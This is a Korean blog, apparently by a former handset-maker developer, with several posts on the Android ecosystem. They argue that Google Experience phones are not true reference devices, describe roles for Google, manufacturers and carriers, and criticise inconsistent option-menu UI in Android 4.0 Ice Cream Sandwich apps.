이통사가 수익을 추구하는 기업 입장에서 이윤을 내기 위한 노골적인 서비스 접근이기도 하고 다수의 서비스가 연결성을 갖지 못하기 때문에 어쩔수 없이 사용하는 과정에서 불편함을 느낄 수 밖에 없고 이러한 여러가지 문제점들이 사용자 입장에서는 강요당하는 느낌이 들 것이고 이런 점들이 이통사의 pre-installed application에게 반감을 가지는 이유가 아닐까 싶습니다. 반대로 이통사가 애플처럼 “돈”이라는 것을 숨기고 월등한 사용자 경험을 제공한다면 SKT experience device, KT experience device 제조가 가능한 구조이고 유사하게 제조사도 Samsung experience device, LG experience device도 가능할 것입니다.

이런 점에서 GED는 “구글폰”이고 Android는 “SKT폰”, “KT폰”, “삼성폰”, “LG폰”으로도 얼마든지 변화할 수 있기 때문에 GED를 Android의 레퍼런스폰이라고 하는 것은 맞지 않다라는 것입니다.

현재는 이통사가 T-store, olleh마켓을 운영하고 있고 제조사인 삼성의 경우에도 별도 App-Store를 운영하고 있기 때문에 서비스와 App-Store의 경쟁력만 있다면 GED/GMS 라이선스 없이 독자적인 Android폰을 만들 수 있는 환경은 갖춰져 있습니다. 대표적인 사례가 아마존의 킨들파이어겠지요…

GED폰을 누군가 레퍼런스폰이라고 부르면서 용어가 일반화되고 역으로 그 프레임에 갖혀서 Android 플랫폼의 무한한 가능성이 사전에 차단되어 수 많은 기회를 잃고 있는 것이 아닌지 돌아보았으면 좋겠습니다.

앞으로, Nexus One / Nexus S / Galaxy Nexus 등의 구글폰은 레퍼런스 단말이라고 부르지 않았으면 좋겠습니다.
Android 레퍼런스 단말은 언젠가 이통사/제조사 중에 똘똘한 한 군데가 정신차리고 제대로 된 Best Practice라고 볼 수 있는 훌륭한 Android 단말을 출시했을때 그 때 부여하는 명예로운 이름으로 사용하면 좋지 않을까요?

※ 원래 제목은 “GED에 대한 왜곡된 시각”이었는데 제목이 너무 어렵다는 지적이 있어서 바꾸었습니다.

Android를 위한 변명

명색이 주변에서 안드로이드빠로 불리는데 새해 플젝으로 시작한 블로깅의 첫 내용을 Android를 공격하는 내용으로 쓰다 보니 마음이 편치 않아 다른 관점으로 두번째 글을 써보고자 합니다. 첫번째 블로그 글은 혼자 생각을 정리한다는 의미에서 시작한 것이라 경어체를 사용하지 않았는데 블로그가 공개된 이상 더 이상 혼자만의 생각을 정리하는데 머무르는 것이 불가능할 듯 해서 문체도 바꾸고 논조도 조금 변경할까 합니다.

첫 블로깅을 지인들과 공유하는 과정에서 @xguru 님과 @ibare 님께서 트윗을 하시면서 멘션과 예상치 못한 반응을 많이 받아서 당황한 면도 있는데, 그 중 대표적인 것이 개발자 시각에서 기술적으로 저의 주장을 반박하는 내용이었습니다. 저도 같은 개발자이지만 제가 주장하고자 하는 글의 논점은 기술적으로 맞다/틀리다를 떠나서 ICS 버전으로부터 야기되는 혼란스러운 UI/UX에 대한 의문점이고 그 부분에 대해서 Google의 역할 강화를 주장하는 것이었는데 각론에 초점을 맞춰서 제게 기술적으로 이해시키려고 하는 부분을 보면서 마치 거울을 보는 듯한 느낌을 받았었고 제 스스로를 돌아보는 계기가 되었습니다.

서론이 길었는데, 이번 글에서 제가 하고 싶은 말의 논점은 제목하고는 조금 다를 수도 있겠습니다. Android를 위한 변명이기도 하고 Android가 잘되기 위한 각 이해관계자들의 바른 역할에 대한 저의 생각일 수 있습니다.

Android가 지금까지 여타 플랫폼과 다른 점은 Google의 Open Access 정책인데 이 중에서 어느 것 하나 중요하지 않은 것은 없겠지만 “Open Application”는 통신 시장에서 상당히 큰 의미를 갖습니다. 기존 통신 시장이 이통사/제조사 간의 강력한 카르텔(?)체제에 의해서 Walled Garden이라고 불리면서 MVNO의 진입조차 쉽지 않을 정도로 폐쇄적인 시장 환경이었는데 특히 이통사/제조사의 pre-installed application은 주로 이통사의 서비스를 사용자에게 이용을 강제하는 수단으로 주로 사용되었고, 다이얼러/전화부/메시징 등의 주요 application은 제 3자가 접근할 수 없는 성역이었지만 Android에서는 Open Application 정책에 의해서 그 어느 누구도 특정 기능에 대해서 독점할 수 없는 구조로 제공되고 무조건 사용자의 선택이 최우선시 되며 심지어 그것이 Google의 application일지라도 동일하게 적용되는 원칙입니다.

이러한 획기적인 구조는 WIPI, BREW, … 등의 기존 통신 시장에서 시도된 수 많은 플랫폼에서 경험하지 못했던 것이고 iOS에서는 절대로 수용할 수 없는 혁명적 수준의 변화인데 의외로 저평가되고 있습니다. Open application으로 인해서 Android라는 플랫폼은 활용하기에 따라서 그 가치가 무궁무진하고 어쩌면 통신 시장에서 다시는 만날 수 없는 기회일 수 있어서 놓쳐서는 안되는 처음이자 마지막 기회라고 생각합니다.

그런데, Android가 iOS에 비해서 뒤늦게 시장에 선보인 점도 있고, 이미 대세가 iOS로 굳혀진 상태에서 “빠”라고 불릴 정도의 iOS에 대한 신념을 가진 일부 사용자로 인해서 Android가 어찌보믄 불필요한 공격을 많이 당한 면도 있지 않나 생각합니다. Android와 iOS의 플랫폼 방향성이 많이 다르고 각 단말들이 지향하는 시장이 많이 다른데도 불구하고 모든 플랫폼의 기준을 iOS로 접근하는 것은 옳지 않은 방향입니다. iOS가 좋으면 iOS를 쓰면 되지 굳이 Android를 공격해서 그들이 얻을 수 있는 것이 무엇인지 아직도 심히 궁금하기는 합니다. 다만, Google을 비롯한 이통사/제조사나 3rd party 개발사들은 그들의 잠재적 의도와는 상관없이 주장하는 바를 새겨들어야 한다고 봅니다. 왜냐하면 역설적으로 Android의 진화에 대한 대답이 Android를 공격하는 이들의 논리 안에 숨어 있다고 보기 때문입니다.

Android는 어쩌면 그 동안 기초 투자에 소홀하고 협력해서 공생해 본 경험이 없는 국내 기업에게는 특히나 다루기 힘든 듣보잡 플랫폼일 수도 있습니다. 국내 제조사들이 처음에는 그냥 공짜이고 플랫폼 구조가 너무 잘되어 있어서 S/W 생산성을 높이는 도구로 접근하였기 때문에 호환성이나 생태계를 등한시 한 것은 사실이고 지금은 호환성이 많이 개선은 되었지만 아직도 갈길은 멀어 보입니다.

이에 제가 생각하는 Android가 제대로 된 플랫폼으로 발전해서 모두가 공생하는 방안에 대해서 기술하고자 합니다.

1. Google
Google은 Android에 대한 칼자루를 쥐고 있는 입장이기 때문에 행보 하나하나에 시장이 민감하게 반응할 수 밖에 없습니다.
그 대표적인 예가 하나 있는데, Gingerbread 버전까지 기존 Android 단말들의 UI/UX에 대한 혼란으로 시장으로부터 지속적으로 공격을 받은 상황에서 Honeycomb 소스를 여타 플랫폼과 달리 공개적으로 Open하지 않는 점과 Google 고위 관계자들의 몇가지 발언에 비추어서 Honeycomb 이후에는 Google이 제조사들의 UI/UX 변경 권한을 축소할 것이라는 소문으로 확산되면서 또 다른 논란이 일어나기도 할 정도였고 ICS 버전에서 “Holo Everywhere“라는 Android 기본 theme 의무 탑재 정책과 Device Theme이라는 제조사 UI 변경 권한를 유지하는 것으로 발표되면서 한편의 해프닝으로 결론이 났을 정도입니다.

이 상황에서 Google에 무리한 요구를 하는 것은 어쩌면 시장내 이해관계자들의 활동을 위축시키거나 시장의 불확실성을 증가시키는 우려가 있기 때문에 조심스럽게 접근하는 것이 맞다고 봅니다. 그래도 최소한의 역할만은 제대로 해줬으면 좋겠습니다.

CTS
“파편화”라는 단어가 Android 플랫폼에게는 가장 치명적인 아킬레스건이 아닌가 생각합니다.
기존 어떠한 플랫폼도 해내지 못한 호환성이라는 만능 열쇠가 있을 것이라고 보지 않습니다. 심지어 100% 호환성을 유지하는 줄 알았던 iOS 조차도 단말별, 버전별로 예외처리가 필요하다는 사실을 알았을 때는 Android의 파편화를 공격하는 사람들이 한편으로는 측은하게 느껴지기까지 했습니다. iOS까지 그렇다고해서 Android의 플랫폼 호환성을 위한 노력을 안하자는 것은 아닙니다.
여러 제조사에서 H/W를 만들어냄에도 불구하고 여타 플랫폼과 달리 Android는 호환성이 향상된 것은 사실입니다. 그것이 비록 애플이라는 단일 회사에서 만들어내는 단일 디바이스에 비해서 호환성이 떨어질지라도 과거에 비해서 향상되었다는 점을 인정하고 더 향상된 호환성을 위해서 노력해야 하는데 그 중심에는 Google의 CTS가 있습니다.
Google이 device를 제조해보지 않은 web service 업체이기 때문에 초기 CTS 절차는 상당히 불완전하였고 그 결과로 초기 출시된 각 제조사별/단말은 CTS를 통과했지만 호환성에 많이 문제가 있었습니다. API input/output test결과가 동일하다고 API를 조합해서 사용하는 application이 완벽하게 동작하리라 생각하는 것이 얼마나 순진한 생각인지는 WIPI PCT를 통해서 국내 통신 시장에서는 이미 겪었는데 Google은 이제 그 경험을 하고 있다고 봅니다.

결론적으로 Google은 CTS 절차를 강화하고 새로운 테스트 절차를 도입해서라도 호환성이라는 맥락은 절대 지켜줘야 합니다.

② Market
Google Android Market은 진입장벽이 전혀 없기 때문에 완전한 개방을 의미하기도 하지만 정제되지 않은 garbage data로 인해서 Android Market 사용에 상당한 불편함이 있는 것이 사실입니다. 주요 인기 App의 사용자 리뷰에는 SPAM이 가득하고 App 설명에 적절하지 않은 단어가 포함되어 엉뚱한 App이 검색되는데도 Google의 개선 노력은 별로 보이지 않습니다. 이러한 부분들이 Android를 처음 사용하는 사용자들에게는 어렵고 복잡하고 지저분하다는 느낌을 주기에 충분하고 애플 앱스토어에 비교 당하며 공격당하는 주요 원인이 되기도 합니다.
검색을 잘한다는 Google이 Android Market의 검색 관련 기능을 보완하지 않는 것은 이해가 가지 않습니다. Web에서 사용자들이 원하는 Page를 잘 찾아서 보여주듯이 Android Market에서도 사용자들이 원하는 App을 적절히 검색하고 SPAM이나 관련이 없는 App들은 제거해서 정제된 결과를 보여주는 것만으로도 Android 플랫폼에 대한 가치는 달라질 것으로 봅니다.

2. 제조사
아이폰 출시 이후 통신 시장에 많은 변화가 있다고 하지만 대부분의 혜택은 애플에게만 예외적으로 적용되고 있습니다.
현재는 애플의 제품들이 시장에서 열광적으로 반응하기 때문에 울며 겨자먹기식으로 이통사가 일방적으로 양보하는 면이 많이 있기는 하지만 장기적으로 애플의 인기가 사그러들거나 다른 제조사들의 경쟁력이 향상되어 애플의 영향력이 일정 수준이하로 축소된다면 언제든지 이통사의 입지는 다시 복원될 것이고 시장의 흐름이 인위적으로 변화될 수 있습니다.
하지만 현재는 애플의 아이폰뿐 아니라 스마트폰이라는 플랫폼의 변화가 이통사에게 불리하게 작용하고 있고 그 틈을 제조사들이 비집고 들어갈 수 있는 여지가 있습니다. 그래도 아직은 제조사는 이통사로부터 상당부분 통제를 받을 수 밖에 없는 시장 구조로 인해서 가장 더디게 변화하는 것이 제조사가 아닐까 싶습니다.
처음에 아이폰이 도입되는 시점에는 별 문제 없다라고 대외적으로는 공표하면서도 내부적으로는 상당한 위기감에 휩싸였을텐데 의외로 빠른 기간내에 시장 수성에 성공하면서 오히려 제조사들이 혁신을 할 수 있는 기회를 놓친 것이 아닌가 생각합니다.

기존에 제조사들은 흑백LCD에서 4gray, 256 color, 16만 color로 변화하고 플립에서 폴더, 슬라이드로, 키패드에서 터치로 폼팩터가 진화할때마다 매번 플랫폼을 새로 만들었습니다. 제조사 입장에서 플랫폼은 오로지 S/W 생산성을 높이는 도구 그 이상도 이하도 아니었는데, Android 플랫폼은 제조사 플랫폼을 만드는 비용을 획기적으로 절감해주고 스마트폰 OS 기반이라 재사용성이 높아서 굳이 마다할 이유가 없었던 것이지 시장의 변화에 발빠르게 대응하는 측면에서 접근했다고 보기는 어렵습니다. 그렇기 때문에 Google이 Android 플랫폼을 Full source로 open을 해도 별다른 고민 없이 H/W를 판매하기에 급급했고 호환성이나 OS 업그레이드, 생태계 등을 고민할 필요가 없었던 것입니다. 대신, 이통사가 시장 변화에 발빠르게 대응하지 못해서 수익 모델을 여기저기 빼앗기는 동안 제조사들은 그 동안 피쳐폰 시장에서 해보지 못했던 서비스 영역으로 확장을 주로 고민했습니다. 이 과정에서 이통사와 제조사 간의 미묘한 충돌도 있었습니다만 정작 제조사가 해야할 본분에 대해서는 망각하고 있는 것 같습니다.

혹자는 Android를 meta-platform이라고 하는데 저는 이 용어에 적극 찬성합니다. 기존 MS의 Windows Mobile과 같이 제공받은 OS를 기준으로 H/W를 만들어서 판매하는 구조가 아니라 Android라는 full source를 기반으로 제조사가 호환성을 유지하는 범위내에서 재량껏 수정해서 새로운 플랫폼인 것 처럼 판매할 수 있기 때문입니다.

만약, 제조사가 이러한 플랫폼에 대한 개념을 숙지하고 치밀한 전략하에 움직였다면 Android 플랫폼이 가지는 S/W적인 취약점을 iOS에서 벤치마킹해서 또다른 아이폰을 만들어냈으리라 봅니다. 불행하게도 제조사들은 그런 행보를 아직까지 보이지 않고 있습니다. 눈에 보이는 UI만 조금씩 바꿔서 차별화된 것처럼 포장을 했지만 막상 사용성에 있어서는 Android 플랫폼의 취약점을 모두 가지고 있기 때문입니다.

Google이 배포하는 Android source가 포장하지 않은 bulk 라면 또는 사리면이라면, 제조사는 시장에서 사용자들이 원하는 다양한 맛의 스프를 첨가해서 포장을 달리한 라면을 출시하는 것이 본분이라고 봅니다.

제조사는 지금부터라도 플랫폼에 대한 해석을 나름대로 충실하게 수행해서 GUI를 변경하는 눈속임이 아닌 각 제조사가 생각하는 플랫폼의 철학을 구현한 제대로된 단말기를 출시하기를 바랍니다.

3. 이통사
통신 시장의 주도권을 쥐고 있던 이통사 입장에서 스마트폰에 대한 대응을 오랜동안 진행했음에도 불구하고 현재 시장 상황은 어쩌면 황당할 것으로 보입니다. 왜냐하면 현재 스마트폰 시장에서 주로 이용되는 서비스의 대부분은 예전에 이통사들이 자체 서비스로 이미 대응을 했던 것이기 때문입니다.
CDMA, WDCDMA, 2G, 3G, 화상전화, LTE 등의 시장 키워드를 선정하고 마케팅을 통해서 새로운 시장으로 변화하는 과정에서 포화된 시장임에도 지속적으로 고객들이 새로운 서비스를 사용하고 단말기를 교체하고 통신 비용을 지출하게 만드는데 익숙하다가 본인들이 통제하지 못하는 상황으로 변화되었음에도 이통사 자체 규격을 제조사에 요구하거나 pre-installed application을 강제적으로 탑재하도록 하는 것을 보면 아직 완벽하게 적응했다고 보기는 어렵겠습니다.

기존에 이통사의 기술 조직에서 서비스에 맞춰서 단말 규격을 만들고 제조사에 배포하는 절차가 남아 있다는 것은 시장의 주도권을 놓기 싫다는 것으로 읽히는데 현재 시장 상황에서 주도권은 매력적인 서비스로 고객을 매료시켜야 하는 것이지 구태의연한 절차로 되돌릴 수 없다는 것을 알았으면 합니다.

이통사는 통신 시장에서 기존 포털과 동등 수준 또는 우월한 수준의 서비스 제공 능력이 있음에도 불구하고 이통사에서 제공하는 서비스나 application을 보면 상식적으로 시장에서 이해할 수 없는 저급한 수준의 결과물들이 나오는데 비대해진 관료조직에서 어쩔 수 없는 상황이라면 API를 제공하고 3rd party 들이 API를 사용해서 수익을 낼 수 있도록 환경을 만들어주고 수익을 배분하는 것이 더 적절한 대응이 아닐까 생각합니다.

그리고, 이통사가 Android Market이 있음에도 독자적인 Store를 각자 운영하는데 행태가 기존 피쳐폰 시절과 그 행태가 다르지 않거나 Android Market과 차별화 요소가 전혀 없다는 것이 문제라고 보입니다. 앞서 지적했다시피 Android Market의 낮은 진입장벽으로 인해서 발생하는 문제를 최소한 이통사 Store에서는 진입장벽을 약간 높이더라도 선별적으로 적용해서 소위 “백화점” 모델로 약간의 추가 비용을 지출함으로써 Spyware나 개인 정보 유출 등의 걱정 없이 안심하고 사용할 수 있다는 점과 더불어 애플 앱스토어 수준까지는 아니더라도 이통사가 일정 수준에서 application에 대한 UI/UX까지 총체적으로 심사하여 Android Market 보다 활용도가 높고 고급 application을 다운받을 수 있다는 차별화 요소를 사용자들에게 제공하면 좋겠습니다.

또한, Android 개발자들에게 가장 큰 어려움 중의 하나가 SMS/MMS 데이터를 읽는 것인데 전세계적으로 SMS/MMS 규격이 다른 상황에서 플랫폼 차원에서 표준 API를 제공하기에는 어려움이 있기에 Content Provider를 통해서 제공하는 것으로 구조를 설계했으리라 추정되는데 이러한 혼란을 해결할 수 있는 유일한 주체가 이통사라는 점에서 최소한 WIPI 때 했던 노력의 1/10만 들여도 공통적으로 사용할 수 있는 Content Provider 규격을 최소한 국내 이통사간에 합의할 수 있으리라 생각되며 불필요한 이통사 독자 규격을 강요하는 것 보다는 훨씬 나은 방향성이 되리라 봅니다. 이러한 연장선 상에서 통신 시장에서 이해관계자들이 애로를 겪는 문제 중에서 Google이 해결하기 어렵거나 Google이 나설 필요가 없는 부분에 대해서는 이통사간의 협의체를 통해서 제조사 단말 제조 규격으로 표준화하는 것이 이통사의 올바른 역할이라고 생각합니다.

맺음말
예전에 제조사에 있을때 앞/뒤 사정 모르고 제조사를 힐난하는 블로거들을 볼때마다 참 답답하다는 생각을 했는데 이 글을 쓰면서 각 이통사와 제조사들의 담당자가 답답해할 수 있겠다라는 생각이 들었습니다. 나름 똑똑하다는 사람들이 모여서 오랜 시간 고민하고 불가피한 상황에 의해서 도출되는 결과만 시장에 보여지다보니 욕을 먹을 수 밖에 없는 구조라는 것도 압니다. 하지만, 시간이 지나도 Android의 생태계가 제대로 구축되지 못하는 점을 보면서 안타까움에 시장 이해관계자들이 움직였으면 하는 바램에 이 글을 썼음을 밝힙니다.

Android 4.0 (ICS)의 쌩뚱맞음에 대하여..

새삼스러운 일은 아니지만 Google은 시장을 대하는 태도가 전체적으로 불친절하고 이런 점은 항상 불만이었다.
다른 Google 서비스야 거의 독점적이고 Web 기반 서비스라고 백번 양보해도 Android의 경우에는 직접 서비스하는 것이 아니고 통신사/제조사 등의 기존 통신시장의 이해 관계자들이 활용할 수 있도록 제공하는 간접적인 서비스(?)라는 측면에서 그 불친절함이 시장을 혼란에 빠뜨리는 것이 아닌가 생각한다.

초기 HTC에서 G1/G2가 출시되었을 때만 해도 듣보잡이었던 플랫폼이 빠른 발전을 거듭하면서 양적인 측면에서는 iOS와 함께 모바일 플랫폼의 양대 축으로 자리 잡았지만 질적인 측면에서는 아직 많은 공격을 받는 것이 사실이고 그 바탕에는 플랫폼 진화 과정에서 Google의 불친절함이 자리잡고 있다고 본다.

[MENU], [HOME], [BACK], [SEARCH] 의 4개의 물리적인 키가 필요하던 초기 플랫폼 버전에서, 요구하는 물리적인 키가 많아 단말의 Form Factor에 제약이 발생할 수 있어서 단말 디자인 경쟁력이 떨어진다는 시장의 의견을 적극 반영하여 구글의 핵심 경쟁력과 직결된 [SEARCH]키를 과감하게 OPTION으로 처리하고 플랫폼에서 대안을 제시하는 것을 보았을때 시장과 적극 소통할 것이라 예상을 했었다.

그러나, 거기까지가 Google의 한계였는지 아니면 의도적으로 움직이는지는 확인할 수 없지만, 새로운 플랫폼이 나올 때마다 그 플랫폼의 컨셉이나 진화 방향에 대해서 구글은 시장과 소통하는데 적극적인 모습을 보이지 않고 있다.
이러한 구글의 행보로 인해서 Android 플랫폼이 시장이 선보인지 2년이 넘게 지나고 있는 이 시점에 통신사, 제조사, 3rd party 개발사들이 시장에 제공하는 최종 산출물을 보면 아직도 갈피를 잡지 못하고 우왕좌왕하거나 결과물을 생산해내기에 급급한 모습으로 비춰지고 있다고 본다.

특히, Android 4.0인 ICS(Ice-cream sandwich)를 사용하다보면 플랫폼 정체성에 의문을 가지게 된다.
지금까지 여러 공격에도 불구하고 [MENU], [HOME], [BACK]키라는 물리적인 키를 이용한 플랫폼의 UI/UX 컨셉을 유지하였고, 시장에서 사용자들이 플랫폼 사용법에 대한 기본적인 학습이 완료되었다라고 볼 수 있는 시간이 지난 이후에 [MENU]키를 삭제하고 SOFTKEY 체계로 플랫폼의 큰 틀을 흔들어 놓음으로써 시장에 굳이 새로운 혼란을 유발할 필요가 있었는지 의구심이 든다.

만약, 플랫폼의 큰 틀을 흔들어 놓을만큼 그 컨셉과 방향성이 중요하다면 여러가지 방법을 통해서 시장 관계자들에게 그 타당성을 설득하고 공감대를 얻어서 새로운 플랫폼에 맞춰 시장이 빨리 변화할 수 있도록 적극적으로 노력하는 것이 맞다고 본다.

불과 얼마전에 여러 경로로 공유된 Android UI Design Patterns를 보면 몇가지 예가 나오는데, Android 공식 Site보다 훨씬 구체적이고 필요한 사항에 대해서 더 잘 설명이 되어 있다. 물론 대부분의 내용은 Google Developer Day 2010에서 발표된 Roman Nurik’s의 slide를 인용하였기는 하지만 이러한 내용은 당연히 Android 개발자 공식 Site에서 적극적이고 지속적으로 알리는 것이 당연해 보이는데 왜 소극적으로 대응하는 것인지 안타까울 따름이다.

ICS 버전을 사용하면서 이상하다고 느끼는 몇가지 사례를 살펴보면,
우선 보통의 경우에 Application을 실행하면 아래 facebook 공식 어플처럼 [BACK], [HOME], [TASK], […] 이렇게 4개의 버튼이 보인다. [MENU]버튼이 OPTION처리 되어 […]로 표현된다는 점만 본다면 ICS 버전에서 어느 정도 수긍할 수 있는 변화라는 생각을 할 수 있겠다.

facebook screenshot
facebook 스크린샷

하단 가장 우측에 있는 […]버튼을 선택하면 Option Menu를 보여주는 방식도 기존 Gingerbread버전까지와 별반 다르지 않아 평범하다.

facebook
facebook Option Menu

아래 Seesmic application의 경우에도 별반 다르지 않아 보인다.

seesmic screenshot
Seesmic 스크린샷

그런데, Seesmic application은 […]버튼을 클릭하면 동일한 동작임에도 불구하고 Option menu 보여지는 방식이 다르다. 아직 ICS 버전 관련해서 자세한 내용을 파악하지 않아서 어떠한 차이에 의해서 발생하는 변화인지는 잘 모르겠지만 일단 동일한 동작에 대해서 다른 방식으로 보여지는 것 자체가 사용자에게 혼란을 줄 수 있는 충분한 여지가 있어 보인다.

seesmic option menu screenshot
Seesmic에서 Option Menu 스크린 샷

그렇다면 여기서 추정할 수 있는 것은 facebook application이 ICS 버전에 대응하지 않은 것이고 Seesmic application이 ICS 버전에 맞춰서 동작한다고 볼 수도 있을 듯 하다.

보통 Android에서 Application의 Best practice를 찾기 위해서는 Android에 기본 탑재된 Google Mobile Service Application을 참고하게 되는데, 이 시점에서도 동일하게 ICS에 탑재된 Gmail application을 살펴보면 딱히 그런것 같지도 않다.
[…]버튼의 위치가 [BACK], [HOME], [TASK] 등의 SOFTKEY 영역에 있는 것이 아니고 Gmail만의 별도 기능 아이콘 옆에 배치되어 있다.

ICS Gmail Application Screenshot

Gmail만 보면 Application에서 Option을 처리하는 UI guideline이 변경된 것처럼 생각할 수도 있으나 Gtalk application을 보면 […]버튼이 상단 ActionBar 맨 우측에 위치하고 있다.

Gtalk screenshot
Gtalk screenshot

이쯤되면 오기가 생겨서 이것 저것 안볼 수가 없다. 그래서 확인한 Google Calendar application은 더 가관이다.
월별 일정 화면에서는 Gtalk과 별반 다르지 않아서 넘어가고 상세 일정 화면을 클릭했더니 상단 좌측에 있는 아이콘이 [BACK]키와 동일한 동작을 한다.
Android UI guideline에서 하지 말라고 하는 그 동작이다.

Google Calendar 스크린 샷
Google Calendar 스크린 샷

이 외에도 ICS 버전을 쓰다보면 이해할 수 없는 것들이 몇가지 있는데 지금까지 문제라고 나열한 이런 내용들이 아직 ICS를 이해 못한 내 잘못이라고 생각하고 싶다.
앞으로 ICS를 더 써보고 여기저기 기웃기웃하면서 귀동냥을 더 많이하면 Google의 깊은 뜻을 이해할 지도 모르겠지만 아직까지는 잘 모르겠다.

그냥 누가 친절하게 알려주면 좋겠다. 그 ‘누구’가 Google이면 더 좋겠고.. 쩝!